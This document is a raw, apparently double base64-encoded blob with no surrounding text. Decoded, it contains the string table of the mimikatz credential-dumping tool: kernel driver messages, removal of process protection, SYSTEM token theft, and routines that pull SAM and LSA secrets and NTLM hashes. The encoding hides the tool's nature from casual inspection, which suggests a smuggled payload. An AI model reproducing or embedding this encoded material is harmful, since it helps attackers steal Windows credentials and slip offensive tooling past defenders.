QUhNQWRBQWdBSEFBY2dCdkFHTUFaUUJ6QUhNQUlBQnVBRzhBZEFCcEFHWUFlUUFnQUdNQVlRQnNBR3dBWWdCaEFHTUFhd0J6QUFBQWJnQnZBSFFBYVFCbUFGUUFhQUJ5QUdVQVlRQmtBQUFBVEFCcEFITUFkQUFnQUhRQWFBQnlBR1VBWVFCa0FDQUFiZ0J2QUhRQWFRQm1BSGtBSUFCakFHRUFiQUJzQUdJQVlRQmpBR3NBY3dBQUFBQUFiZ0J2QUhRQWFRQm1BRWtBYlFCaEFHY0FaUUFBQUFBQVRBQnBBSE1BZEFBZ0FHa0FiUUJoQUdjQVpRQWdBRzRBYndCMEFHa0FaZ0I1QUNBQVl3QmhBR3dBYkFCaUFHRUFZd0JyQUhNQUFBQnVBRzhBZEFCcEFHWUFVZ0JsQUdjQUFBQUFBRXdBYVFCekFIUUFJQUJ5QUdVQVp3QnBBSE1BZEFCeUFIa0FJQUJ1QUc4QWRBQnBBR1lBZVFBZ0FHTUFZUUJzQUd3QVlnQmhBR01BYXdCekFBQUFBQUJ1QUc4QWRBQnBBR1lBVHdCaUFHb0FaUUJqQUhRQUFBQk1BR2tBY3dCMEFDQUFid0JpQUdvQVpRQmpBSFFBSUFCdUFHOEFkQUJwQUdZQWVRQWdBR01BWVFCc0FHd0FZZ0JoQUdNQWF3QnpBQUFBQUFCdUFHOEFkQUJwQUdZQVVBQnlBRzhBWXdCbEFITUFjd0JTQUdVQWJRQnZBSFlBWlFBQUFBQUFVZ0JsQUcwQWJ3QjJBR1VBSUFCd0FISUFid0JqQUdVQWN3QnpBQ0FBYmdCdkFIUUFhUUJtQUhrQUlBQmpBR0VBYkFCc0FHSUFZUUJqQUdzQUFBQUFBRzRBYndCMEFHa0FaZ0JQQUdJQWFnQmxBR01BZEFCU0FHVUFiUUJ2QUhZQVpRQUFBRklBWlFCdEFHOEFkZ0JsQUNBQWJ3QmlBR29BWlFCakFIUUFJQUJ1QUc4QWRBQnBBR1lBZVFBZ0FHTUFZUUJzQUd3QVlnQmhBR01BYXdBQUFHWUFhUUJzQUhRQVpRQnlBSE1BQUFCTUFHa0Fjd0IwQUNBQVJnQlRBQ0FBWmdCcEFHd0FkQUJsQUhJQWN3QUFBRzBBYVFCdUFHa0FaZ0JwQUd3QWRBQmxBSElBY3dBQUFFd0FhUUJ6QUhRQUlBQnRBR2tBYmdCcEFHWUFhUUJzQUhRQVpRQnlBSE1BQUFBQUFHMEFhUUJ0QUdrQVpBQnlBSFlBTGdCekFIa0Fjd0FBQUcwQWFRQnRBR2tBWkFCeUFIWUFBQUJiQUNzQVhRQWdBRzBBYVFCdEFHa0Fhd0JoQUhRQWVnQWdBR1FBY2dCcEFIWUFaUUJ5QUNBQVlRQnNBSElBWlFCaEFHUUFlUUFnQUhJQVpRQm5BR2tBY3dCMEFHVUFjZ0JsQUdRQUNnQUFBRnNBS2dCZEFDQUFiUUJwQUcwQWFRQnJBR0VBZEFCNkFDQUFaQUJ5QUdrQWRnQmxBSElBSUFCdUFHOEFkQUFnQUhBQWNnQmxBSE1BWlFCdUFIUUFDZ0FBQUFBQWJRQnBBRzBBYVFCckFHRUFkQUI2QUNBQVpBQnlBR2tBZGdCbEFISUFJQUFvQUcwQWFRQnRBR2tBWkFCeUFIWUFLUUFBQUZzQUt3QmRBQ0FBYlFCcEFHMEFhUUJyQUdFQWRBQjZBQ0FBWkFCeUFHa0FkZ0JsQUhJQUlBQnpBSFVBWXdCakFHVUFjd0J6QUdZQWRRQnNBR3dBZVFBZ0FISUFaUUJuQUdrQWN3QjBBR1VBY2dCbEFHUUFDZ0FBQUFBQUFBQUFBRnNBS3dCZEFDQUFiUUJwQUcwQWFRQnJBR0VBZEFCNkFDQUFaQUJ5QUdrQWRnQmxBSElBSUFCQkFFTUFUQUFnQUhRQWJ3QWdBR1VBZGdCbEFISUFlUUJ2QUc0QVpRQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnJBR1VBY2dCdUFHVUFiQUJmQUdFQVpBQmtBRjhBYlFCcEFHMEFhUUJrQUhJQWRnQWdBRHNBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3NBWlFCeUFHNEFaUUJzQUY4QVlRQmtBR1FBVndCdkFISUFiQUJrQUZRQWJ3Qk5BR2tBYlFCcEFHc0FZUUIwQUhvQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBYmdCbEFHd0FYd0JoQUdRQVpBQmZBRzBBYVFCdEFHa0FaQUJ5QUhZQUlBQTdBQ0FBUXdCeUFHVUFZUUIwQUdVQVV3QmxBSElBZGdCcEFHTUFaUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFhd0JsQUhJQWJnQmxBR3dBWHdCaEFHUUFaQUJmQUcwQWFRQnRBR2tBWkFCeUFIWUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0JtQUdrQWJBQmxBRjhBYVFCekFFWUFhUUJzQUdVQVJRQjRBR2tBY3dCMEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3NBWlFCeUFHNEFaUUJzQUY4QVlRQmtBR1FBWHdCdEFHa0FiUUJwQUdRQWNnQjJBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWmdCcEFHd0FaUUJmQUdjQVpRQjBBRUVBWWdCekFHOEFiQUIxQUhRQVpRQlFBR0VBZEFCb0FFOEFaZ0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFhd0JsQUhJQWJnQmxBR3dBWHdCaEFHUUFaQUJmQUcwQWFRQnRBR2tBWkFCeUFIWUFJQUE3QUNBQVR3QndBR1VBYmdCVEFHVUFjZ0IyQUdrQVl3QmxBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFCYkFDc0FYUUFnQUcwQWFRQnRBR2tBYXdCaEFIUUFlZ0FnQUdRQWNnQnBBSFlBWlFCeUFDQUFjd0IwQUdFQWNnQjBBR1VBWkFBS0FBQUFBQUFBQUFBQVd3QXFBRjBBSUFCdEFHa0FiUUJwQUdzQVlRQjBBSG9BSUFCa0FISUFhUUIyQUdVQWNnQWdBR0VBYkFCeUFHVUFZUUJrQUhrQUlBQnpBSFFBWVFCeUFIUUFaUUJrQUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBRzRBWlFCc0FGOEFZUUJrQUdRQVh3QnRBR2tBYlFCcEFHUUFjZ0IyQUNBQU93QWdBRk1BZEFCaEFISUFkQUJUQUdVQWNnQjJBR2tBWXdCbEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUc0QVpRQnNBRjhBWVFCa0FHUUFYd0J0QUdrQWJRQnBBR1FBY2dCMkFDQUFPd0FnQUU4QWNBQmxBRzRBVXdCREFFMEFZUUJ1QUdFQVp3QmxBSElBS0FCakFISUFaUUJoQUhRQVpRQXBBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFCYkFDc0FYUUFnQUcwQWFRQnRBR2tBYXdCaEFIUUFlZ0FnQUdRQWNnQnBBSFlBWlFCeUFDQUFjd0IwQUc4QWNBQndBR1VBWkFBS0FBQUFBQUJiQUNvQVhRQWdBRzBBYVFCdEFHa0Fhd0JoQUhRQWVnQWdBR1FBY2dCcEFIWUFaUUJ5QUNBQWJnQnZBSFFBSUFCeUFIVUFiZ0J1QUdrQWJnQm5BQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3NBWlFCeUFHNEFaUUJzQUY4QWNnQmxBRzBBYndCMkFHVUFYd0J0QUdrQWJRQnBBR1FBY2dCMkFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjd0JsQUhJQWRnQnBBR01BWlFCZkFITUFkQUJ2QUhBQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBV3dBckFGMEFJQUJ0QUdrQWJRQnBBR3NBWVFCMEFIb0FJQUJrQUhJQWFRQjJBR1VBY2dBZ0FISUFaUUJ0QUc4QWRnQmxBR1FBQ2dBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYXdCbEFISUFiZ0JsQUd3QVh3QnlBR1VBYlFCdkFIWUFaUUJmQUcwQWFRQnRBR2tBWkFCeUFIWUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J6QUdVQWNnQjJBR2tBWXdCbEFGOEFjZ0JsQUcwQWJ3QjJBR1VBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFjZ0JsQUcwQWJ3QjJBR1VBQUFBQUFGQUFjZ0J2QUdNQVpRQnpBSE1BSUFBNkFDQUFKUUJ6QUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUc0QVpRQnNBRjhBY0FCeUFHOEFZd0JsQUhNQWN3QlFBSElBYndCMEFHVUFZd0IwQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNBQnlBRzhBWXdCbEFITUFjd0JmQUdjQVpRQjBBRkFBY2dCdkFHTUFaUUJ6QUhNQVNRQmtBRVlBYndCeUFFNEFZUUJ0QUdVQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBSEFBYVFCa0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYXdCbEFISUFiZ0JsQUd3QVh3QndBSElBYndCakFHVUFjd0J6QUZBQWNnQnZBSFFBWlFCakFIUUFJQUE3QUNBQVFRQnlBR2NBZFFCdEFHVUFiZ0IwQUNBQUx3QndBSElBYndCakFHVUFjd0J6QURvQWNBQnlBRzhBWndCeUFHRUFiUUF1QUdVQWVBQmxBQ0FBYndCeUFDQUFMd0J3QUdrQVpBQTZBSEFBY2dCdkFHTUFaUUJ6QUhNQWFRQmtBQ0FBYmdCbEFHVUFaQUJsQUdRQUNnQUFBQUFBQUFBQUFGQUFTUUJFQUNBQUpRQjFBQ0FBTFFBK0FDQUFKUUF3QURJQWVBQXZBQ1VBTUFBeUFIZ0FJQUJiQUNVQU1RQjRBQzBBSlFBeEFIZ0FMUUFsQURFQWVBQmRBQW9BQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBYmdCbEFHd0FYd0J3QUhJQWJ3QmpBR1VBY3dCekFGQUFjZ0J2QUhRQVpRQmpBSFFBSUFBN0FDQUFUZ0J2QUNBQVVBQkpBRVFBQ2dBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYXdCbEFISUFiZ0JsQUd3QVh3QndBSElBYndCakFHVUFjd0J6QUZBQWNnQnZBSFFBWlFCakFIUUFJQUE3QUNBQVVBQnlBRzhBZEFCbEFHTUFkQUJsQUdRQUlBQndBSElBYndCakFHVUFjd0J6QUNBQWJnQnZBSFFBSUFCaEFIWUFZUUJwQUd3QVlRQmlBR3dBWlFBZ0FHSUFaUUJtQUc4QWNnQmxBQ0FBVndCcEFHNEFaQUJ2QUhjQWN3QWdBRllBYVFCekFIUUFZUUFLQUFBQUFBQm1BSElBYndCdEFBQUFBQUIwQUc4QUFBQUFBQUFBQUFCVUFHOEFhd0JsQUc0QUlBQm1BSElBYndCdEFDQUFjQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDVUFkUUFnQUhRQWJ3QWdBSEFBY2dCdkFHTUFaUUJ6QUhNQUlBQWxBSFVBQ2dBQUFBQUFBQUFBQUNBQUtnQWdBR1lBY2dCdkFHMEFJQUF3QUNBQWR3QnBBR3dBYkFBZ0FIUUFZUUJyQUdVQUlBQlRBRmtBVXdCVUFFVUFUUUFnQUhRQWJ3QnJBR1VBYmdBS0FBQUFBQUFBQUNBQUtnQWdBSFFBYndBZ0FEQUFJQUIzQUdrQWJBQnNBQ0FBZEFCaEFHc0FaUUFnQUdFQWJBQnNBQ0FBSndCakFHMEFaQUFuQUNBQVlRQnVBR1FBSUFBbkFHMEFhUUJ0QUdrQWF3QmhBSFFBZWdBbkFDQUFjQUJ5QUc4QVl3QmxBSE1BY3dBS0FBQUFWQUJoQUhJQVp3QmxBSFFBSUFBOUFDQUFNQUI0QUNVQWNBQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBRzRBWlFCc0FGOEFiZ0J2QUhRQWFRQm1BSGtBUndCbEFHNEFaUUJ5QUdrQVl3QlNBR1VBYlFCdkFIWUFaUUFnQURzQUlBQk9BRzhBSUFCaEFHUUFaQUJ5QUdVQWN3QnpBRDhBQ2dBQUFBQUFjd0JoQUcwQUFBQkhBR1VBZEFBZ0FIUUFhQUJsQUNBQVV3QjVBSE1BU3dCbEFIa0FJQUIwQUc4QUlBQmtBR1VBWXdCeUFIa0FjQUIwQUNBQVV3QkJBRTBBSUFCbEFHNEFkQUJ5QUdrQVpRQnpBQ0FBS0FCbUFISUFid0J0QUNBQWNnQmxBR2NBYVFCekFIUUFjZ0I1QUNBQWJ3QnlBQ0FBYUFCcEFIWUFaUUJ6QUNrQUFBQUFBSE1BWlFCakFISUFaUUIwQUhNQUFBQkhBR1VBZEFBZ0FIUUFhQUJsQUNBQVV3QjVBSE1BU3dCbEFIa0FJQUIwQUc4QUlBQmtBR1VBWXdCeUFIa0FjQUIwQUNBQVV3QkZBRU1BVWdCRkFGUUFVd0FnQUdVQWJnQjBBSElBYVFCbEFITUFJQUFvQUdZQWNnQnZBRzBBSUFCeUFHVUFad0JwQUhNQWRBQnlBSGtBSUFCdkFISUFJQUJvQUdrQWRnQmxBSE1BS1FBQUFBQUFSd0JsQUhRQUlBQjBBR2dBWlFBZ0FGTUFlUUJ6QUVzQVpRQjVBQ0FBZEFCdkFDQUFaQUJsQUdNQWNnQjVBSEFBZEFBZ0FFNEFUQUFrQUVzQVRRQWdBSFFBYUFCbEFHNEFJQUJOQUZNQVF3QmhBR01BYUFCbEFDZ0FkZ0F5QUNrQUlBQW9BR1lBY2dCdkFHMEFJQUJ5QUdVQVp3QnBBSE1BZEFCeUFIa0FJQUJ2QUhJQUlBQm9BR2tBZGdCbEFITUFLUUFBQUd3QWN3QmhBQUFBQUFBQUFFRUFjd0JyQUNBQVRBQlRBRUVBSUFCVEFHVUFjZ0IyQUdVQWNnQWdBSFFBYndBZ0FISUFaUUIwQUhJQWFRQmxBSFlBWlFBZ0FGTUFRUUJOQUM4QVFRQkVBQ0FBWlFCdUFIUUFjZ0JwQUdVQWN3QWdBQ2dBYmdCdkFISUFiUUJoQUd3QUxBQWdBSEFBWVFCMEFHTUFhQUFnQUc4QWJnQWdBSFFBYUFCbEFDQUFaZ0JzQUhrQUlBQnZBSElBSUFCcEFHNEFhZ0JsQUdNQWRBQXBBQUFBQUFCMEFISUFkUUJ6QUhRQUFBQUFBQUFBUVFCekFHc0FJQUJNQUZNQVFRQWdBRk1BWlFCeUFIWUFaUUJ5QUNBQWRBQnZBQ0FBY2dCbEFIUUFjZ0JwQUdVQWRnQmxBQ0FBVkFCeUFIVUFjd0IwQUNBQVFRQjFBSFFBYUFBZ0FFa0FiZ0JtQUc4QWNnQnRBR0VBZEFCcEFHOEFiZ0FnQUNnQWJnQnZBSElBYlFCaEFHd0FJQUJ2QUhJQUlBQndBR0VBZEFCakFHZ0FJQUJ2QUc0QUlBQjBBR2dBWlFBZ0FHWUFiQUI1QUNrQUFBQUFBR0lBWVFCakFHc0FkUUJ3QUdzQVpRQjVBSE1BQUFBQUFISUFjQUJrQUdFQWRBQmhBQUFBQUFCa0FHTUFjd0I1QUc0QVl3QUFBQUFBUVFCekFHc0FJQUJoQUNBQVJBQkRBQ0FBZEFCdkFDQUFjd0I1QUc0QVl3Qm9BSElBYndCdUFHa0FlZ0JsQUNBQVlRQnVBQ0FBYndCaUFHb0FaUUJqQUhRQUFBQnNBSE1BWVFCa0FIVUFiUUJ3QUFBQVRBQnpBR0VBUkFCMUFHMEFjQUFnQUcwQWJ3QmtBSFVBYkFCbEFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBY3dCaEFHMEFJQUE3QUNBQVF3QnlBR1VBWVFCMEFHVUFSZ0JwQUd3QVpRQWdBQ2dBVXdCWkFGTUFWQUJGQUUwQUlBQm9BR2tBZGdCbEFDa0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCekFHRUFiUUFnQURzQUlBQkRBSElBWlFCaEFIUUFaUUJHQUdrQWJBQmxBQ0FBS0FCVEFFRUFUUUFnQUdnQWFRQjJBR1VBS1FBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUJUQUZrQVV3QlVBRVVBVFFBQUFBQUFVd0JCQUUwQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCekFHRUFiUUFnQURzQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQVpRQm5BR2tBY3dCMEFISUFlUUJmQUZJQVpRQm5BRThBY0FCbEFHNEFTd0JsQUhrQVJRQjRBQ0FBS0FCVEFFRUFUUUFwQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQnJBR2tBZHdCcEFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBY3dCbEFHTUFjZ0JsQUhRQWN3QlBBSElBUXdCaEFHTUFhQUJsQUNBQU93QWdBRU1BY2dCbEFHRUFkQUJsQUVZQWFRQnNBR1VBSUFBb0FGTUFSUUJEQUZVQVVnQkpBRlFBV1FBZ0FHZ0FhUUIyQUdVQUtRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0J6QUdVQVl3QnlBR1VBZEFCekFFOEFjZ0JEQUdFQVl3Qm9BR1VBSUFBN0FDQUFRd0J5QUdVQVlRQjBBR1VBUmdCcEFHd0FaUUFnQUNnQVV3QlpBRk1BVkFCRkFFMEFJQUJvQUdrQWRnQmxBQ2tBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFVd0JGQUVNQVZRQlNBRWtBVkFCWkFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3QnpBR1VBWXdCeUFHVUFkQUJ6QUU4QWNnQkRBR0VBWXdCb0FHVUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUdVQVp3QnBBSE1BZEFCeUFIa0FYd0JTQUdVQVp3QlBBSEFBWlFCdUFFc0FaUUI1QUVVQWVBQWdBQ2dBVXdCRkFFTUFWUUJTQUVrQVZBQlpBQ2tBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFFTUFkUUJ5QUhJQVpRQnVBSFFBQUFCRUFHVUFaZ0JoQUhVQWJBQjBBQUFBUXdCdkFHNEFkQUJ5QUc4QWJBQlRBR1VBZEFBd0FEQUFNQUFBQUZNQVpRQnNBR1VBWXdCMEFBQUFBQUFsQURBQU13QjFBQUFBQUFCS0FFUUFBQUFBQUZNQWF3QmxBSGNBTVFBQUFFY0FRZ0JIQUFBQVJBQmhBSFFBWVFBQUFBQUFKUUI0QUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCbkFHVUFkQUJUQUhrQWN3QnJBR1VBZVFBZ0FEc0FJQUJNQUZNQVFRQWdBRXNBWlFCNUFDQUFRd0JzQUdFQWN3QnpBQ0FBY2dCbEFHRUFaQUFnQUdVQWNnQnlBRzhBY2dBS0FBQUFBQUJFQUc4QWJRQmhBR2tBYmdBZ0FEb0FJQUFBQUFBQUFBQkRBRzhBYmdCMEFISUFid0JzQUZ3QVF3QnZBRzBBY0FCMUFIUUFaUUJ5QUU0QVlRQnRBR1VBWEFCREFHOEFiUUJ3QUhVQWRBQmxBSElBVGdCaEFHMEFaUUFBQUVNQWJ3QnRBSEFBZFFCMEFHVUFjZ0JPQUdFQWJRQmxBQUFBQUFBbEFITUFDZ0FBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBR2NBWlFCMEFFTUFid0J0QUhBQWRRQjBBR1VBY2dCQkFHNEFaQUJUQUhrQWN3QnJBR1VBZVFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFISUFaUUJuQUdrQWN3QjBBSElBZVFCZkFGSUFaUUJuQUZFQWRRQmxBSElBZVFCV0FHRUFiQUIxQUdVQVJRQjRBQ0FBUXdCdkFHMEFjQUIxQUhRQVpRQnlBRTRBWVFCdEFHVUFJQUJMQUU4QUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUdjQVpRQjBBRU1BYndCdEFIQUFkUUIwQUdVQWNnQkJBRzRBWkFCVEFIa0Fjd0JyQUdVQWVRQWdBRHNBSUFCd0FISUFaUUFnQUMwQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUhJQVpRQm5BR2tBY3dCMEFISUFlUUJmQUZJQVpRQm5BRkVBZFFCbEFISUFlUUJXQUdFQWJBQjFBR1VBUlFCNEFDQUFRd0J2QUcwQWNBQjFBSFFBWlFCeUFFNEFZUUJ0QUdVQUlBQkxBRThBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QVp3QmxBSFFBUXdCdkFHMEFjQUIxQUhRQVpRQnlBRUVBYmdCa0FGTUFlUUJ6QUdzQVpRQjVBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY2dCbEFHY0FhUUJ6QUhRQWNnQjVBRjhBVWdCbEFHY0FUd0J3QUdVQWJnQkxBR1VBZVFCRkFIZ0FJQUJEQUc4QWJRQndBSFVBZEFCbEFISUFUZ0JoQUcwQVpRQWdBRXNBVHdBS0FBQUFVd0I1QUhNQVN3QmxBSGtBSUFBNkFDQUFBQUJEQUc4QWJnQjBBSElBYndCc0FGd0FUQUJUQUVFQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCbkFHVUFkQUJEQUc4QWJRQndBSFVBZEFCbEFISUFRUUJ1QUdRQVV3QjVBSE1BYXdCbEFIa0FJQUE3QUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFad0JsQUhRQVV3QjVBSE1BYXdCbEFIa0FJQUJMQUU4QUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUdjQVpRQjBBRU1BYndCdEFIQUFkUUIwQUdVQWNnQkJBRzRBWkFCVEFIa0Fjd0JyQUdVQWVRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBWlFCbkFHa0Fjd0IwQUhJQWVRQmZBRklBWlFCbkFFOEFjQUJsQUc0QVN3QmxBSGtBUlFCNEFDQUFUQUJUQUVFQUlBQkxBRThBQ2dBQUFBQUFVd0JCQUUwQVhBQkVBRzhBYlFCaEFHa0FiZ0J6QUZ3QVFRQmpBR01BYndCMUFHNEFkQUFBQUZZQUFBQk1BRzhBWXdCaEFHd0FJQUJUQUVrQVJBQWdBRG9BSUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBR2NBWlFCMEFGVUFjd0JsQUhJQWN3QkJBRzRBWkFCVEFHRUFiUUJMQUdVQWVRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBWlFCbkFHa0Fjd0IwQUhJQWVRQmZBRklBWlFCbkFGRUFkUUJsQUhJQWVRQldBR0VBYkFCMUFHVUFSUUI0QUNBQVZnQWdBRXNBVHdBS0FBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3Qm5BR1VBZEFCVkFITUFaUUJ5QUhNQVFRQnVBR1FBVXdCaEFHMEFTd0JsQUhrQUlBQTdBQ0FBY0FCeUFHVUFJQUF0QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUdVQVp3QnBBSE1BZEFCeUFIa0FYd0JTQUdVQVp3QlJBSFVBWlFCeUFIa0FWZ0JoQUd3QWRRQmxBRVVBZUFBZ0FGWUFJQUJMQUU4QUNnQUFBQUFBVlFCekFHVUFjZ0J6QUFBQVRnQmhBRzBBWlFCekFBQUFDZ0JTQUVrQVJBQWdBQ0FBT2dBZ0FDVUFNQUE0QUhnQUlBQW9BQ1VBZFFBcEFBb0FBQUFBQUZVQWN3QmxBSElBSUFBNkFDQUFKUUF1QUNvQWN3QUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0JuQUdVQWRBQlZBSE1BWlFCeUFITUFRUUJ1QUdRQVV3QmhBRzBBU3dCbEFIa0FJQUE3QUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFad0JsQUhRQVN3QmxBQ0FBU3dCUEFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBWndCbEFIUUFWUUJ6QUdVQWNnQnpBRUVBYmdCa0FGTUFZUUJ0QUVzQVpRQjVBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY2dCbEFHY0FhUUJ6QUhRQWNnQjVBRjhBVWdCbEFHY0FUd0J3QUdVQWJnQkxBR1VBZVFCRkFIZ0FJQUJUQUVFQVRRQWdBRUVBWXdCakFHOEFkUUJ1QUhRQWN3QWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFCT0FGUUFUQUJOQUFBQUFBQk1BRTBBSUFBZ0FBQUFBQUFsQUhNQUlBQTZBQ0FBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0JuQUdVQWRBQklBR0VBY3dCb0FDQUFPd0FnQUZJQWRBQnNBRVFBWlFCakFISUFlUUJ3QUhRQVJBQkZBRk1BTWdCaUFHd0Fid0JqQUdzQWN3QXhBRVFBVndCUEFGSUFSQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCbkFHVUFkQUJJQUdFQWN3Qm9BQ0FBT3dBZ0FGSUFkQUJzQUVVQWJnQmpBSElBZVFCd0FIUUFSQUJsQUdNQWNnQjVBSEFBZEFCU0FFTUFOQUFBQUFvQVV3QkJBRTBBU3dCbEFIa0FJQUE2QUNBQUFBQUFBRVlBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QVp3QmxBSFFBVXdCaEFHMEFTd0JsQUhrQUlBQTdBQ0FBVWdCMEFHd0FSUUJ1QUdNQWNnQjVBSEFBZEFCRUFHVUFZd0J5QUhrQWNBQjBBRklBUXdBMEFDQUFTd0JQQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFad0JsQUhRQVV3QmhBRzBBU3dCbEFIa0FJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUdVQVp3QnBBSE1BZEFCeUFIa0FYd0JTQUdVQVp3QlJBSFVBWlFCeUFIa0FWZ0JoQUd3